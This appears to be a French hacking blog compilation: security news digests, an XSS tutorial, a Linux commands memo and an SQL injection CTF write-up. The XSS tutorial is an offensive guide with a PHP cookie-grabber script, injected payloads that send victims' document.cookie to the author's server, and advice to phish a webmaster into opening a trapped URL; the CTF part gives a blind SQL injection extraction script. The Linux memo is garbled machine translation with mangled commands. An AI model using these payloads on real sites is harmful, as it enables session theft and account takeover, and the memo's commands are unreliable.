mardi 18 décembre 2018

Actualité sécurité 12/2018

[LÉGISLATION] L’Australie adopte une loi visant à permettre aux forces de l'ordre d'avoir accès aux messages chiffrés des « citoyens australiens ». Cette loi obligera les entreprises de technologie à créer une porte dérobée sur leurs systèmes, afin que les agences nationales de sécurité et les forces de l'ordre puissent avoir accès aux communications en clair. Une amende est prévue pour les entreprises qui refuseront de s’y soumettre.
Les représentants des institutions européennes se sont mis d'accord pour donner plus de responsabilités à l'ENISA, l’agence de sécurité informatique de l'Union Européenne, ainsi que pour mettre en place une certification des objets connectés. Une liste de produits nécessitant une certification obligatoire est prévue pour 2023.
[CONDAMNATION] Le tribunal correctionnel d’Anvers a condamné trois informaticiens pour avoir participé à l’importation de lots importants de cocaïne et d’héroïne. Les peines vont de trois à huit ans de prison pour les accusés ayant compromis en 2013 les systèmes d’information de grandes compagnies de transport et terminaux à conteneurs, pour le compte d’un groupe criminel. Ils ont permis d’importer au moins deux tonnes de cocaïne et une tonne d’héroïne via le port d'Anvers.

[FUITE DE DONNÉES] La société russe de sécurité informatique Group-IB a découvert une liste de plus 40 000 identifiants et mots de passe d'accès à des services gouvernementaux de trente pays, dont la France. Plus de la moitié des informations concerneraient l'Italie (52%) puis l'Arabie Saoudite (22%) et le Portugal (5%). Les comptes concerneraient des civils, des fonctionnaires et des militaires. Les victimes auraient été piégées par des spear-phishing distribuant des programmes malveillants.
 
La société de sécurité informatique InfoArmor a découvert un serveur mal configuré en ligne, contenant les numéros d'identification de 120 millions contribuables brésiliens. Chaque ressortissant brésilien a un numéro d’identification de contribuable attribué lui permettant d’effectuer des opérations ordinaires, tels que l’ouverture d’un compte bancaire, le paiement de ses impôts ou l’obtention d’un prêt.

[ESPIONNAGE] Symantec publie un rapport sur un nouveau groupe d’attaquants nommé Seedworm ou encore MuddyWater. Le groupe aurait ciblé 131 entités entre septembre et novembre 2018 notamment au Pakistan, en Turquie, en Russie et en Arabie Saoudite. Les cibles seraient essentiellement des entreprises issues des secteurs des télécommunications, des services informatiques, ainsi que du gaz et de pétrole. Seedworm utiliserait la porte dérobée nommée Powermud, afin d’exfiltrer des mots de passe, effectuer des élévations de privilèges ou encore compresser les données exfiltrées pour les télécharger ultérieurement.
McAfee a révélé qu’une campagne nommée « opération Sharpshooter », ciblant les secteurs du nucléaire, de la défense et de la finance, aurait de nombreux liens avec le groupe d’attaquants d’origine nord-coréenne Lazarus, nommé également APT38, Dark Seoul, ou Hidden Cobra. 87 organisations situées majoritairement aux États-Unis ont ainsi été ciblées par cette campagne entre octobre et novembre 2018. L’un des outils d'attaque utilisé lors de cette campagne est présenté comme une évolution d’un outil attribué à Lazarus et diffusé en 2015.
[SABOTAGE] Le pétrolier italien Saipem a révélé que son système d’information avait été compromis par une variante du programme malveillant Shamoon. Ce programme efface les données des machines infectées, tente de détruire le disque dur et de rendre le système inexploitable. La première version de ce programme avait été identifiée en 2012, alors qu’il avait ciblé le producteur pétrolier d’Arabie Saoudite, Aramco, et rendu indisponible 35 000 postes de travail. L’attaque ayant ciblé Saipem aurait impacté 400 de ses serveurs, d’abord à Chennai en Inde, puis au Moyen-Orient (Arabie Saoudite, Émirats Arabes Unis, Koweït), en Écosse, et de manière limitée en Italie. L’attaque aurait ainsi entraîné l’effacement de données et perturbé le fonctionnement des infrastructures. Toutefois, la société indique avoir des copies de l’ensemble de ses systèmes, ce qui limiterait l’impact de l’attaque.


Fuite de données

Le ministère français de l'Europe et des Affaires Étrangères a été victime d'une compromission visant à exfiltrer des données à caractère personnel. Les noms et prénoms, numéros de téléphone et courriels, ont ainsi été exfiltrés lors de l'inscription sur le service ministériel Ariane, qui permet de signaler un voyage ou une mission à l'étranger. Plus de 540 000 personnes sont concernées. Le ministère précise que l'exfiltration ne comprend pas « de données sensibles, financières ou susceptibles de dévoiler les destinations des voyages déclarés sur Ariane »

mercredi 25 juillet 2018

Learning XSS

La vulnérabilité XSS

--------------------------------------------------------------------
Sommaire :
  1) Définition
  2) Utulisation
  3) Repèrage
  4) Exploitation
  5) Sécurisation
--------------------------------------------------------------------


----------------------------------------------
1) Définition

La faille XSS est une injection de code javascript dans des données lorsque le HTML n'est pas désactivé.
Par exemple, si la faille XSS est présente sur un forum de discussion ou un livre d'or nous pouvons alor poster en message du HTML.
Du coup, nous pouvons injecter du code javascript pour voler des cookies.

>Des cookies?? Tu parle,je commence a avoir faim oO
Du tout ! un cookie en informatique c'est un fichier qui contient des données sous forme d'un .txt enregistré par un site web et récupéré à la prochaine connexion.
Un petit exemple : vous allez pour la première fois sur un site web, vous vous logguez et cochez une case "connexion automatique", un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez loggué automatiquement car le site web aura vu votre cookie !
Avec la faille XSS, nous pourrons voler le cookie de l'admin ensuite l'utuliser.
----------------------------------------------


----------------------------------------------
2) Utulisation

Pour exploiter la faille XSS, il nous faut un script PHP qui va enregistrer le cookie volé dans un .txt.
 Voici un code PHP à mettre dans votre fichier xss.php ou autre :


Code : PHP

==================================================================================================================
<?php
$cookie = $_GET["c"]; // on reconnaît c en variable GET
if($cookie)
{
        $fp = fopen("cookies.txt","a"); // On ouvre cookies.txt en edition (il est créé si il n'existe pas)
        fputs($fp,$cook . "\r\n"); // On écrit le contenu du cookie sur une nouvelle ligne
        fclose($fp); // On ferme le fichier cookies.txt
        /* FAIRE UNE REDIRECTION JAVASCRIPT CI-DESSOUS POUR QU'ON SE DOUTE DE RIEN */
}
?>

<script>
location.replace("http://www.google.fr");
</script>
==================================================================================================================


Enregistrez le fichier sous et tapez wss.php et mettez le fichier sur un serveur FTP qui supporte le PHP
Ici nous imaginerons que notre site est http://monsite.fr, donc le fichier aura pour adresse http://monsite.fr/xss.php
passons à la partie suivante.



----------------------------------------------
Repèrage

Trouvez un moteur de recherche. Il vous demande de taper un mot-clé. Tapez en mot-clé <b>test</b>. Si vous voyez une phrase du genre "Résultats trouvés pour <b>test</b>", ou bien "Aucun résultat trouvé pour <b>test</b>", c'est qu'il va falloir aller ailleurs.
Par contre, si vous voyez un truc du style "Aucun résultat pour test", c'est que le HTML n'est pas paralysé, il y a une fameuse faille XSS ! :].

Maintenant, nous allons injecter du code Javascript.
Tapez en mot clé l'expression suivante :
<script>alert('Plop !');</script>

Si vous voyez au beau milieu de la page un joli panneau avec un incône exclamatif et un message "Plop !", c'est qu'il y a réellement une faille XSS :]

* Attention, ce n'est pas tout à fait terminé !
Il faut vérifier que des cookies sont bien enregistrés sur le site web en question ! Sinon à quoi ça servirait d'exploiter cette faille ? A rien.
Allez dans votre barre d'adresse puis tapez :
javascript:alert(document.cookie)

Si un panneau s'affiche avec aucun texte, vous pouvez lacher l'affaire, sinon, si vous voyez un texte du genre "login=; pass=;" etc... C'est que le site web forge des cookies d'identification ! Donc nous sommes bien parti pour une exploitation.

Mais d'abord nous allons essayer d'exploiter les failles XSS sur des forums (partie suivante)
----------------------------------------------



----------------------------------------------
4) Exploitation


Bon, dans cette partie, nous verrons plusieurs exploitations..

a) Forum

C'est la même chose qu'avec les moteur de recherche, une fois membre sur un forum vous avez votre cookie à vous.

Allez poster un message et tapez :
<b>salut !</b>
Si vous voyez salut, c'est que c'est bien parti. Sinon, Fuiyez ^^

Nous allons maintenant prendre un peu plus de risque, exécuter un script qui ouvre en pop-up notre voleur de cookie. insérer ceci après votre petit message discret :
<script>window.open("http://monsite.fr/xss.php?c="+document.cookie)</script>

On comprend parfaitement qu'il y a ?c=, c'est la variable $_GET['c'] de notre code. Ensuite on ferme le quot et on mets un + en javascript pour concaténer la variable superglobale document.cookie qui représente notre cookie, vous me suivez ?

Imaginez qu'une personne dont le pseudo est Dupont et dont le mot de passe est caramel, il aura un cookie qui peut ressembler à ça :

login=Dupont; pass= caramel;

Donc, quand il verra vote message, si il y a une faille XSS, une pop-up va s'ouvrir et va enregistrer vote cookie car c'est comme si le code était : <script>window.open("http://monsite.fr/r.php?c=login=Dupond; pass=caramel;")</script>

Et vu que notre script enregistre la valeur de $_GET['c'] dans cookies.txt, nous aurons stealé son cookie !!


> On peut parfaitement exploiter cette faille avec du BBCode, en particulier avec des images. Comment ? En utilisant les attributs onclick, onmousehover et onerror :]

Tout d'abord, nous allons étudier quelques exemples de codes HTML sur les images et leurs résultats :
Examples :

<img src="hacked.jpg" onclick="javascript:alert('coucou')"> : affiche un panneau d'alerte avec texte 'coucou' si le visiteur clique sur l'image hacked.jpg
<img src="hacked.jpg" onmousehover="javascript:alert('coucou')"> : affiche un panneau semblable à l'exemple précédent si cette fois le visiteur passe le curseur de sa souris sur l'image hacked.jpg
<img src="hacked.jpg" onerror="javascript:alert('coucou')"> : Affiche un panneau d'alerte semblable aux deux exemples précédents si l'image hacked.jpg n'existe pas.

> Et comment on peut faire avec le BBCode si tu peux rentrer qu'une adresse URL dans les [img] ?!
Voici la bonne synthaxe à insérer : Le code suivant entré en message sur le forum :
[img]http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)[/img]
Reviendra à exécuter le code HTML suivant :
<img src="http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)">

Et vu que l'image http:// n'existe pas, cela aura pour effet d'ouvrir en pop-up votre grabber de cookie avec en variable le cookie du visiteur !

----------------------------------------------

b) Moteur de recherche method GET

Dans cette sous partie nous en revenons au moteur de recherche. Pourquoi méthode GET ? Je vais vous l'expliquer.
Imaginons que vous êtes sur un site nommé http://www.victime.com/index.php. Des que vous tapez en mot clé 'hacked', l'url deviendra ainsi (par exemple) :
http://www.victime.com/index.php?word=hacked
Rien ne nous empêche, bien évidemment, de remplacer hacked par <b>test</b> et pour ensuite apercevoi sur la page un truc du genre : "Aucun résultat trouvé pour test", donc si test apparaît en gras c'est qu'il y a bien XSS :p

Assez parlé, entrez en mot-clé dans le moteur de recherche :
<script>location.replace="http://monsite.fr/xss.php?c="+document.cookie;</script>

Si vous êtes redirigé sur une page qui vole votre propre cookie et qui se ferme de suite, c'est qu'il y a XSS (xD)
Par contre, il va falloir prendre le temps de copier l'URL encodée avant de se faire rediriger. Répétez l'opération jusqu'à avoir réussi à copier l'adresse.

Maintenant, il faut trouver le mail du webmaster, faire un mail crédible et lui demander de se rendre sur votre URL piégée pour qu'il se fasse voler son cookie.

----------------------------------------------

c) Formulaire avec input limité

Si nous entrons dans email la valeur suivante :

c@c.c" onclick="javascript:alert('hacked')
Le code HTML deviendra ainsi : <a href=c@c.c" onclick="javascript:alert('hacked')">Mail</a>
Et des que le visiteur cliquera sur votre mail, un message d'alerte s'affichera avec le texte 'hacked'.

Faites cette action avec ce code :
c@c.c" onclick="javascript:window.open('http://site.com/xss.php?c='+document.cookie')
Et des que le visiteur voudra vous mailer, une pop-up s'ouvrira et volera le cookie de son visiteur si la faille XSS est présente.


----------------------------------------------
5) Sécuriser

Vous devez utiliser la fonction htmlentities avec deux arguments :

- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quots en &quot; et donc interdire les ".

Exemple :

Code : PHP
$texte = htmlentities($_POST['texte'],ENT_QUOTES);
----------------------------------------------



==============================================
Zakizak was here ~ printf("Fuck Lamerz")
==============================================

Linux Commands Memo

To withdraw on the Root Server for example, know what you need woosh orders ..

Annexed to the orders that you are downloading ..

All you have to sit down and Tqriham time to arrange the orders are needed in a special file to you ..

Due to them when needed ..

Here View the orders which are in use by

pwd: display the full path to the current folder
ls: Show all files in the current folder
ls-al: Show all files and information
ls-alR: Show all files and subfolders in the information
ls-alR> filename.txt: such as ls-alR, but leave the result in the file
ls *. html: All files ending spill. html
cd [directory name]: change the current folder to another to be determined to write his name
cd .. : The current pace of change in volume one of the highest
clear: clean up the screen
vdir: give more information than it ls
exit: exit for the registration of Hel

Transfer, copying and scanning of files:
mv [old filename] [new filename]: the transfer or rename a file
cp [filename] [new filename]: to copy the file
rm [filename]: file of the survey
rm *: delete all the files in the current folder
rm *. html: a survey of all the files that the extension of expiring. html
rm-rf [directoryname]: survey of the entire volume

Create, move, copy and scan folders:
mkdir [directory name]: Create a new folder
ls-d * /: display all the folders within the current folder
cp-r [directory] [new directory]: copies of all files and folder within the new stripes

Search for files and folders:
find. -name [filename]-print: to search for the file
grep [********************************] [filename]: the search for text within the file

Permits files and folders:
There are three levels of permits files are: reading Read, Write and write implementation execute, there are also three sets to give such permits: Owner or Owner, Group and User Group for all everyone.
Chmod is used followed by Ptlatp numbers of permits, the first number is the owner of the Owner, and the second number of the Group and the third one is for all Everyone .. This interpretation of the numbers and levels of these permits:

0 = --- No permission
1 = - X Execute only
2 =-W-Write only
3 =-WX Write and execute
4 = R - Read only
5 = R-X Read and execute
6 = RW-Read and write
7 = RWX Read, write and execute


Always prefer to give a statement (0) to a Group in order to prevent the other users to browse the files from the server using the Telnet or FTP until

These are some of the most common permits:

chmod 604 [filename]: less of a statement to the Mphat Html
chmod 705 [directory name]: less a statement of volumes
chmod 755 [filename]: the least of the programs and permit Alascrepettat
chmod 606 [filename]: statement of the least used by Mphat Alascrepettat
chmod 703 [directory name]: read-only permission for the Public FTP

How to decompress the archive file using the Telnet:
First, to verify that you are inside the folder that contains your compressed file is written ls
If the file is not present your writing:
cd / big / dom / xdomain / www / directory /
Track your path to replace the file which contains your

Now the process is how to decompress the archive?
If the file extension ends. Zip File.zip for example, your writing is:
unzip file.zip

If the file extension ends with. Tar example file.tar your writing:
tar-xvf file.tar

If the file extension ends with. Gz file.gz like your writing:
gzip-d file.gz

If the file extension ends with. Tar.gz example file.tar.gz your writing:
gzip-d file.tar.gz
Therefore:
tar-xvf file.tar

How to backup the database:
mysqldump-u db_usr_name-pPASSWORD db_name> file name.SQL

How to retrieve database saved by:
mysql-u db_usr_name-pPASSWORD db_name <file name.SQL

How the pressure of the database:
tar-czvf file name.tar.gz file name.SQL

How to decompress the archive on the database:
tar-zxvf file name.tar.gz

How to do backup of all databases for a particular user:
mysqldump-uroot - all-databases | gzip> mysql_username.sql

Some other commands:
tail: like cat, but just read the end of file
tail / var / log / messages to see another 20 lines of / var / log / messages
tail-f / var / log / messages: continuing to watch for file changes during the
tail -200 / var / log / messages: print the last line of the file 200 on the screen

more: like cat
more / etc / userdomains: to browse through the file userdomains file.

pico: to use text editor
pico / home / burst / public_html / index.html: Liberation Index page for the user.

vi: another editor of the texts of many of the features, but most of the pico when used for the first time
vi / home / burst / public_html / index.html: also for the Liberation of the Index page for the user.

touch: the establishment of an empty file
touch / home/burst/public_html/404.html: to create a empty file called 404.html in the folder / home / burst / public_html /

ln: the establishment of links between files and folders
ln-s / usr / local / apache / conf / httpd.conf / etc / httpd.conf: Now you can edit / etc / httpd.conf rather than the original file. The changes will appear in the original file, as the survey link that you can change the file without the original.

rm: to delete the file
rm filename.txt: to remove a question of emphasis Confirmation deleted
rm-f filename.txt: delete the file, without question, to confirm the deletion.
rm-rf tmp /: the conversion of tmp folder and includes all the files and subfolders inside.

last: to display the log of the time
last -20: View the last 20 login process
last -20-a: presentation of the last 20 with the registration process to enter the field at the end of Hostmane

w: View current users on the server and logged on and where they are now at this moment.

netstat: View all related now.
netstat-an: offer all the related IP for the server as well as for each contact and the Port or outlet of communication.

top: to display the live system processes in the form of a nice memory, as well as information and Uptime and other useful information, which is very excellent in the management system and to ensure that everything is working well.
Screening by the use of memory to write your top and then Shift M
Screening by the use of your CPU top and then write Shift P

ps: It is short for process status which is similar to the top. It introduced the processes currently operating with the PID or Process ID, which is the definition of the Process or program, you can stop the program from this figure (as well check your orders to Kill
ps U username: display user specific programs
ps aux: Show All Processes or programs that
ps aux - forest: All the programs that work like the previous hierarchy, but very good and useful

du: to display the consumption or use of CD-Disk usage.
du-sh: to display a summary of space used by the current folder, including subfolders.
du-sh *: same thing but this is used for each file or folder basis, which is useful for finding files that reserved a large area

wc: the number of words
wc-l filename.txt: to find the file specified number of lines

cp: copies of the file
cp filename filename.backup: Copy the file to filename.backup
cp-a / home / burst / new_design / * / home / burst / public_html /: copies all files with the retention of permits to another folder

How to know the size of a file or folder:

du-h / home / username / public_html / test


kill: to stop a specific program
kill -9 PID EG: kill -9 431
kill PID EG: kill 10550
Use top or ps ux to determine the PIDs or Process I

mardi 19 juin 2018

Actualité sécurité


[ESPIONNAGE] Un groupe d'attaquants chinois a infiltré en début d'année les ordinateurs d'un prestataire de la Navy et a exfiltré 614 GiB de données classifiées traitant de recherche et développement sur des armes sous-marines.

La Russie, bien connue pour ses capacités offensives, n'est pas non plus exempte d'être victime d'espionnage. Des centres de maintenance spécialisés dans l'électronique ont été la cible d’une campagne de spear-phishing délivrant un outil de monitoring commercial ayant des capacités d'enregistrement à partir de la webcam ou d'accès aux fichiers présents sur la machine.

[BRAINSTORMING] Suite à la récente cyberattaque de la Banque du Chili, les autorités financières et le ministère des Finances ont établi un plan d'action afin de combattre ce type d'attaques dans le futur. Afin d'y arriver, il sera entre autres nécessaire de moderniser les outils et protocoles actuellement utilisés. À noter que la dernière régulation en matière de cybersécurité au Chili date de 1993.

[FUITE DE DONNÉES] Dixons Carphone, une multinationale spécialisée dans l'électronique et les télécommunications, qui a reconnu être victime d'une importante fuite de données impliquant 5,9 millions de cartes de paiement et 1,2 millions de données à caractère personnel. À noter, que cette même société a déjà été victime en 2015 d'une fuite de données impactant 2,4 millions de données à caractère personnel, dont 90 000 cartes de paiement.

Un chercheur en renseignement sur la menace a mis la main sur 43 millions d'adresse emails suite à l'analyse d'un botnet utilisé dans une campagne d'envoi de mails malveillants distribuant le cheval de Troie Trickbot. Cela fait suite à une mauvaise configuration du serveur utilisé par les cybercriminels.

Selon une étude récente, le nombre d'identifiants compromis ciblant l'Europe et la Russie depuis début 2018 a augmenté de 39% et cela représente désormais la moitié des cibles de fuite de données. Espérons que l'entrée en vigueur de la RGPD renversera la tendance…

[JUSTICE] Les forces de l'ordre américaine ont arrêté 74 personnes impliquées dans des fraudes de type Business Email Compromise (BEC) et ont saisi 2,4 millions de dollars et récupéré 14 millions de dollars de transferts frauduleux. Pour rappel, le coup estimé du BEC, à travers le monde, en 2017 était de 675 millions de dollars.

Yahoo! a été condamné au Royaume-Uni à 250 000£ suite à la compromission de 500 millions de comptes, dont 500 000 britanniques en 2014.

La CNIL a sanctionné à nouveau Optical Center en lui infligeant une amende de 250 000 euros pour atteinte à la sécurité des données de ses clients.

[VULNERABILITÉ] Une vulnérabilité vieille de 11 ans ciblant macOS a été dévoilée par un chercheur en sécurité. Celle-ci se base sur le contournement de l'API de signature de logiciels d'éditeurs tiers qui permet de faire passer du code malveillant non signé comme étant signé par Apple.

Il y a quelques jours encore, il était possible de déverrouiller une session utilisateur Windows et de changer le mot de passe associé sans aucune action de son utilisateur. La technique ? Le demander gentiment à Cortana, l’assistant virtuel embarqué dans Windows 10.

lundi 26 mars 2018

Actualité SECU

[JUSTICE] La justice a remporté plusieurs victoires cette semaine en commençant par l'éradication de l'outil Luminosity Link, un RAT vendu pour la modique somme de 40 euros à plus de 8 600 personnes dans 78 pays différents. Ce coup d'arrêt a été possible grâce à une coopération internationale des forces de l'ordre et du support d'Europol.

Le département de la justice américain a annoncé avoir démantelé le forum cybercriminel Infraud Organization. Ce forum au slogan évocateur « In Fraud We Trust », comptabilisait plus de 10 000 utilisateurs et représentait 530 millions de dollars de pertes envers les consommateurs, entreprises et institutions financières. Un de ses membres était notamment connu sur ce forum pour développer des malware s'attaquant aux points de ventes pour voler des données bancaires.

[RANSOMWARE] L'imagination des cybercriminels pour élaborer de nouveaux scénarios de fraude est sans limite. Le FBI a ainsi annoncé qu'une campagne de spams envoyait actuellement des messages usurpant l'Internet Crime Complaint Center (IC3) et proposant de remplir un document de remboursement suite à des dommages causés par une cyber-attaque. Le document en question, une fois ouvert, délivre sa charge malveillante sous forme d'un ransomware.

[ESPIONNAGE] Le groupe d'attaquants russophone Fancy Bear a ciblé différentes personnes travaillant dans le domaine des drones, missiles, roquettes, avions de combat furtifs mais aussi de plateformes de cloud computing. Les 87 personnes dans leur collimateur recevaient un mail contenant un lien de phishing usurpant, par exemple, une alerte de sécurité Google. Les domaines des nouvelles technologies telles que le cloud computing ont été également ciblés car la CIA a signé un contrat avec Amazon pour la mise en place d'une plateforme partagée entre les services de renseignements américains. En 2017, le vice premier ministre russe se réjouissait que l'écart technologique avec les États-Unis dans le domaine des drones de combat était désormais très réduit...

[RISQUE] Le numéro 2 du groupe Saint-Gobain est récemment revenu sur les conséquences de l'attaque Not Petya qu'ils ont subie par l'intermédiaire de leur filiale ukrainienne. En plus de repasser au stylo pour l'édition de factures dans leur réseau de distribution Lapeyre et Point P, cette attaque s'est soldée par quatre jours de gestion de crise et dix jours pour que l'activité reprenne totalement. La leçon a visiblement été retenue car le groupe a depuis souscrit à une cyber-assurance incluant les attaques numériques et représentant 10 à 15% du budget du département IT.

[JEUX OLYMPIQUES] Les recommandations de l'US-CERT pour les personnes se rendant à Pyeongchang pour suivre les Jeux Olympiques n’étaient pas inutiles. McAfee, qui avait analysé des documents malveillants ciblant les organisations olympiques, avait également prévenu sur la menace numérique autour des Jeux Olympiques. C'est désormais officiel, les Jeux Olympiques 2018 ont déjà été victime d'une attaque informatique lors de la cérémonie d'ouverture. Ce que The Guardian pensait initialement être des problèmes techniques était bien les conséquences d’une cyber-attaque. D'après les premières analyses, cela repose sur un malware ayant pour seul but de détruire et qui aurait des fonctionnalités déjà observées pour BadRabbit et Nyetya.

Fuite de la semaine

Apple a subi cette semaine la plus grosse fuite de données de son histoire avec la mise en ligne sur la plate-forme Github du code source d'iBoot. Ce dernier, l'un des composants les plus critiques des iDevices d’Apple (iPhones, iPad…), est en charge du démarrage des appareils, phase la plus intéressante pour la communauté des jailbreakers mais également des services de renseignements. En effet, trouver un bug à ce niveau est rétribué 200 000 dollars dans le programme Bug Bounty d'Apple et permettrait de compromettre la chaîne de démarrage et de potentiellement accéder aux données contenues dans les appareils. Bien que le code corresponde à celui d'iOS 9, c'est un composant qui est moins fréquemment modifié que le système d'exploitation et qui est donc susceptible d'être exploitable dans ses versions plus récentes. Cette fuite proviendrait d'un ancien développeurs bas niveau d'Apple, proche de la communauté jailbreak et qui aurait partagé ce code à ses amis. L'un de ces amis, l'aurait ensuite partagé à une tierce personne, qui l'aurait un peu trop disséminé, résultant de la publication sur Github.



samedi 10 mars 2018

Writeup for my WEB task called FATALITY presented at the HACKINI CTF 2k18


#WRITEUP #HACKINI #WEB # FATALITY_150 #BZAKARIA

Hi all, a little late but I did not forget you for the writeup of the web challenge that was not resolved by any team at the HACKINI CTF. It is called 'fatality' and had 150 points.
The task is not too difficult overall, but contains little effect that push you to think outside the box.
Basically, the home page only contains a web form that asks you to authenticate yourself to access the restricted space. Indeed, no information is given to you in advance. But if you dig deeply, you will surely get some.



Let's get right to the point. As there is a login form, it is clear that we need the correct username and password to authenticate.

You can take your time trying combinations of login / password or trying to brute-force the form, but you will not go further.

In the source code of the web page (CTRL + U) some things can catch our eyes.

The first thing is the hidden field that has as value:
SEFDS0lOSXtUaGlzX0lzX0FfUmVkaGVycmluZ30 =

It looks like a base64-encoded text. By decoding this one, we obtain:
HACKINI {This_Is_A_Redherring}

Hmmm .. not really interesting after all !! it looks like a fake flag since the word redherring appears on it (see https://en.wikipedia.org/wiki/Red_herring)

Let's try harder.

Another interesting thing is the word 'guest' foundable at the end of the source code. It seems to be a valid login. But the password is missing.

Since the username is given to you, you must understand that the login field is not injectable. You must deal with the password field.

The correct payload to pass is a little irregular. There it is:
')) or 1 = 1 #


Why like that? Because the SQL query behind look like this:
AND mdp = SHA1 (md5 ('$ _ POST [' password] '))

Doing it this way doesn't increase the robustness of the hash but it was not the goal. ^^

I think that was the hardest step of the challenge.

By injecting correctly the password field and by gaining access, it just takes you to another web page that shows you messages "Welcom!" and "Nothing is here".

This should lead you to realize that there is nothing special in the space.

Those messages are here just to be used in the context of a blind injection

You only have one corner to look for, it's the database.

A hint was given in the meantime which is :
flag everywhere

This is a classical HINT which means that either the table name or the column name you have to look for is named 'flag'.

Since your injection must be in a BLIND way, a script is more or less required.

The script below is pretty simple, it will inject the correct payload to get the length of the flag in the right place. Next, it will do many sql injections to get the flag char by char from the right place too since it will not be possible to do otherwise because we are dealing with a blind injection.

import requests
import re

trouve=0
longueur=0

while (trouve==0):
       payload="')) or (select length(flag) from flag)="+str(longueur)+"#"
       requette={'login':"guest",'password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php', data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             trouve=1
       else:
             longueur+=1
            
            
print "Length of the flag is : " + str(longueur)

trouve=0
length=1
caractere=32
flag=""

while(trouve==0):
       payload="')) or ascii(substring((select flag from flag),"+str(length)+",1))="+str(caractere)+"#"
       requette={'login':'guest','password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php',data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             if (length!=longueur):
                    flag+=chr(caractere)
                    length+=1
                    caractere=32
             else:
                    flag+=chr(caractere)
                    trouve=1
       else:
             caractere+=1

print ("The flag is : %s " % flag)

The result is just below :



Good reading.